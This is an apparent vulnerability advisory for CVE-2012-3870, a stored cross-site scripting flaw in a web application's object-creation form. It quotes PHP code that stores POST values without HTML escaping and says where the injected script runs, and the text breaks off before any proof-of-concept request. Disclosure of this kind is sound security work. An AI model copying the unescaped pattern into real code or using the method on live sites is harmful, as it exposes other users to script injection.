CVE-2012-3870


###Impact###:
Authenticated attackers can plant malicious javascript in the web application, with the aim to execute it on the other user's browser.

CVSS Base Score: 4.9 (AV:N/AC:M/Au:S/C:P/I:P/A:N)

###Details###:
When creating a new object in the "object" section, the application asks to set a name and a description for that object.
The application does not escape the html tags correctly for these parameters. The vulnerability has been tested on an Internet Explorer 7 browser (because the application is designed
to work with IE). Newer version of the browser with the anti-xss filter enabled, may help to protect users from such attacks.

'createobject.php' contains multiple lines of code (for the various kind of objects) with code similar to the following one:

$obj->name = $_POST['name'];
$obj->description = $_POST['description'];
$result = ObjManager::create($obj);

$obj with name and description attributes is passed to ObjManager::create() function without HTML escaping.

When the user access the "Object" section and list the objects with a malicious name or description, will trigger the exploit. Additionally, if the object can be published,
the exploit can be triggered also in the "Sitemap" section.


###Proof of Concept###:
Here is a trace of the required POST to plant the javascript
